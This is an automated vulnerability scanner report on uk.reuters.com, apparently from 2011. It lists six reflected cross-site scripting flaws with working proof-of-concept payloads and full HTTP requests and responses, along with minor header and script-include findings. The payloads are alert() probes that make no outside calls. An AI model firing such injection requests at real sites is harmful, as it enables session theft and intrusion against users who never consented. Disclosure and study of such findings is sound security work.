uk.reuters.com, XSS, Cross Site Scritping, CWE-79

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sun Feb 13 19:52:41 CST 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. http://uk.reuters.com/assets/commentsChild [articleId parameter]

1.2. http://uk.reuters.com/assets/commentsChild [channel parameter]

1.3. http://uk.reuters.com/assets/sharedModuleJS [callback parameter]

1.4. http://uk.reuters.com/assets/sharedModuleJS [sp parameter]

1.5. http://uk.reuters.com/assets/sharedModuleJS [sp parameter]

1.6. http://uk.reuters.com/tracker/guid [cb parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

3.1. http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213

3.2. http://uk.reuters.com/assets/commentsChild

4. Content type incorrectly stated

4.1. http://uk.reuters.com/assets/breakingNews

4.2. http://uk.reuters.com/assets/info

4.3. http://uk.reuters.com/assets/multimediaJSON



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://uk.reuters.com/assets/commentsChild [articleId parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/commentsChild

Issue detail

The value of the articleId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fac44"><script>alert(1)</script>b818c7a361b was submitted in the articleId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/commentsChild?articleId=UKTRE71C1YB20110213fac44"><script>alert(1)</script>b818c7a361b&headline=%27%27The+King%27s+Speech%27%27+royal+winner+at+BAFTA+awards&channel=lifestyleMolt&edition=UK&view=base HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:36:11 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 4288

<!--[if !IE]> This has NOT been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-09 <![endif]-->
<!--[if !IE]> token: a03a4b1f-8f2f-4acd-99d4-9495c4db1628 <![
...[SNIP]...
<input type="hidden" name="article_id" value="UKTRE71C1YB20110213fac44"><script>alert(1)</script>b818c7a361b" />
...[SNIP]...

1.2. http://uk.reuters.com/assets/commentsChild [channel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/commentsChild

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 281d2"><script>alert(1)</script>31d7addbad8 was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/commentsChild?articleId=UKTRE71C1YB20110213&headline=%27%27The+King%27s+Speech%27%27+royal+winner+at+BAFTA+awards&channel=lifestyleMolt281d2"><script>alert(1)</script>31d7addbad8&edition=UK&view=base HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:36:12 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 4611

<!--[if !IE]> This has NOT been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-02 <![endif]-->
<!--[if !IE]> token: 713cd201-ddcb-44ba-94cd-1013a824fea5 <![
...[SNIP]...
<input type="hidden" name="channel" value="lifestyleMolt281d2"><script>alert(1)</script>31d7addbad8" />
...[SNIP]...

1.3. http://uk.reuters.com/assets/sharedModuleJS [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/sharedModuleJS

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 4ee36<script>alert(1)</script>25f5b98f8d4 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/sharedModuleJS?view=RSM-UK-NavFlyoutContent1&globalJSVariable=&callback=Reuters.nav.callback14ee36<script>alert(1)</script>25f5b98f8d4&sp= HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:44 GMT
Server: Apache-Coyote/1.1
Last-UpdatedL: Mon, 14 Feb 2011 01:27:35 GMT
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 12326

<!--[if !IE]> This has NOT been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-09 <![endif]-->
<!--[if !IE]> token: 39ab1270-bb2b-4b67-8fbe-18e888adf9a2 <![endif]-->
Reuters.nav.callback14ee36<script>alert(1)</script>25f5b98f8d4('<div class="section">
...[SNIP]...

1.4. http://uk.reuters.com/assets/sharedModuleJS [sp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/sharedModuleJS

Issue detail

The value of the sp request parameter is copied into an HTML comment. The payload 112a5--><script>alert(1)</script>3821ad28cd4 was submitted in the sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /assets/sharedModuleJS?view=RSM-UK-NavFlyoutContent1&globalJSVariable=&callback=Reuters.nav.callback1&sp=112a5--><script>alert(1)</script>3821ad28cd4 HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:46 GMT
Server: Apache-Coyote/1.1
Last-UpdatedL: Mon, 14 Feb 2011 01:27:35 GMT
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 15063

<!--[if !IE]> This has NOT been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-04 <![endif]-->
<!--[if !IE]> token: 949f6358-57b7-41d4-bcd0-360fe5318e95 <![
...[SNIP]...
<a href="112a5--><script>alert(1)</script>3821ad28cd4/business/summits">
...[SNIP]...

1.5. http://uk.reuters.com/assets/sharedModuleJS [sp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/sharedModuleJS

Issue detail

The value of the sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5722"><script>alert(1)</script>7a186b758c3 was submitted in the sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/sharedModuleJS?view=RSM-UK-NavFlyoutContent1&globalJSVariable=&callback=Reuters.nav.callback1&sp=f5722"><script>alert(1)</script>7a186b758c3 HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:44 GMT
Server: Apache-Coyote/1.1
Last-UpdatedL: Mon, 14 Feb 2011 01:27:35 GMT
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 15000

<!--[if !IE]> This has NOT been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-01 <![endif]-->
<!--[if !IE]> token: 32575fb7-ba79-4402-8b83-78ce948e5702 <![
...[SNIP]...
<a href="f5722"><script>alert(1)</script>7a186b758c3/business">
...[SNIP]...

1.6. http://uk.reuters.com/tracker/guid [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /tracker/guid

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 71566%3balert(1)//4e176012b68 was submitted in the cb parameter. This input was echoed as 71566;alert(1)//4e176012b68 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tracker/guid?cb=doTrack783971566%3balert(1)//4e176012b68 HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1297668987403:ss=1297668987403; __utmz=28259640.1297647396.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=28259640.2003575633.1297647396.1297647396.1297647396.1; __utmc=28259640; __utmb=28259640.1.10.1297647396; rsi_segs=D08734_70009|D08734_70011|D08734_70049|D08734_70057|D08734_70075|D08734_70086|D08734_70093|D08734_70509|D08734_71432

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:39:19 GMT
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/javascript
Connection: close
Content-Length: 150

typeof doTrack783971566;alert(1)//4e176012b68==='function'&&doTrack783971566;alert(1)//4e176012b68({"userID":"cb1e43fa-a25f-4a75-8476-7ef823b513a4"});

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/commentsChild

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /assets/commentsChild?articleId=UKTRE71C1YB20110213&headline=%27%27The+King%27s+Speech%27%27+royal+winner+at+BAFTA+awards&channel=lifestyleMolt&edition=UK&view=base HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:49 GMT
Server: Apache
Expires: Mon, 14 Feb 2011 01:33:36 GMT
Age: 133
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 4694

<!--[if !IE]> This has been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-11 <![endif]-->
<!--[if !IE]> Cached on Mon, 14 Feb 2011 01:33:36 GMT and will ex
...[SNIP]...
</div>
<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...

3. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /article/2011/02/13/us-bafta-idUKTRE71C1YB20110213

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /article/2011/02/13/us-bafta-idUKTRE71C1YB20110213 HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:34:44 GMT
Server: Apache
Expires: Mon, 14 Feb 2011 01:29:06 GMT
Last-UpdatedL: Mon, 14 Feb 2011 00:48:11 GMT
CHANNEL-NAME: lifestyleMolt
Last-UpdatedA: Sun, 13 Feb 2011 22:50:40 GMT
Age: 336
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 50850

<!--[if !IE]> This has been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-04 <![endif]-->
<!--[if !IE]> Cached on Mon, 14 Feb 2011 01:29:07 GMT and will ex
...[SNIP]...
</span>
<script src="http://cdn.js-kit.com/scripts/jquery-pack.js"></script>
<script src="http://cdn.js-kit.com/scripts/echo-stream.js"></script>
...[SNIP]...
</div>
   <script type="text/javascript" src="http://reuters.grapeshot.co.uk/recpart/rp.js"></script>
...[SNIP]...

3.2. http://uk.reuters.com/assets/commentsChild  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://uk.reuters.com
Path:   /assets/commentsChild

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /assets/commentsChild?articleId=UKTRE71C1YB20110213&headline=%27%27The+King%27s+Speech%27%27+royal+winner+at+BAFTA+awards&channel=lifestyleMolt&edition=UK&view=base HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:49 GMT
Server: Apache
Expires: Mon, 14 Feb 2011 01:33:36 GMT
Age: 133
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 4694

<!--[if !IE]> This has been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-11 <![endif]-->
<!--[if !IE]> Cached on Mon, 14 Feb 2011 01:33:36 GMT and will ex
...[SNIP]...
</div>
<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...

4. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


4.1. http://uk.reuters.com/assets/breakingNews  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://uk.reuters.com
Path:   /assets/breakingNews

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /assets/breakingNews HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:12 GMT
Server: Apache
Expires: Mon, 14 Feb 2011 01:34:55 GMT
Age: 16
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 399

<!--[if !IE]> This has been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-04 <![endif]-->
<!--[if !IE]> Cached on Mon, 14 Feb 2011 01:34:55 GMT and will ex
...[SNIP]...

4.2. http://uk.reuters.com/assets/info  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://uk.reuters.com
Path:   /assets/info

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /assets/info HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:35:01 GMT
Server: Apache
Expires: Mon, 14 Feb 2011 01:31:09 GMT
Age: 231
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 491

<!--[if !IE]> This has been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-06 <![endif]-->
<!--[if !IE]> Cached on Mon, 14 Feb 2011 01:31:09 GMT and will ex
...[SNIP]...

4.3. http://uk.reuters.com/assets/multimediaJSON  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://uk.reuters.com
Path:   /assets/multimediaJSON

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /assets/multimediaJSON?articleId=UKTRE71C1YB20110213&setImage=300&view=100&startNumber=1 HTTP/1.1
Host: uk.reuters.com
Proxy-Connection: keep-alive
Referer: http://uk.reuters.com/article/2011/02/13/us-bafta-idUKTRE71C1YB20110213
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tns=dataSource=cookie; adDisplayManager=freqCap_fixedpanel=1297647341048~1; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1297668987403:ss=1297668987403; __utmz=28259640.1297647396.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=28259640.2003575633.1297647396.1297647396.1297647396.1; __utmc=28259640; __utmb=28259640.1.10.1297647396; rsi_segs=D08734_70009|D08734_70011|D08734_70049|D08734_70057|D08734_70075|D08734_70086|D08734_70093|D08734_70509|D08734_71432

Response

HTTP/1.1 200 OK
Date: Mon, 14 Feb 2011 01:39:12 GMT
Server: Apache
Expires: Mon, 14 Feb 2011 01:37:14 GMT
Last-UpdatedA: Sun, 13 Feb 2011 22:50:40 GMT
Age: 118
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 2697

<!--[if !IE]> This has been served from cache <![endif]-->
<!--[if !IE]> Request served from apache server: produk-web-03 <![endif]-->
<!--[if !IE]> Cached on Mon, 14 Feb 2011 01:37:14 GMT and will ex
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Sun Feb 13 19:52:41 CST 2011.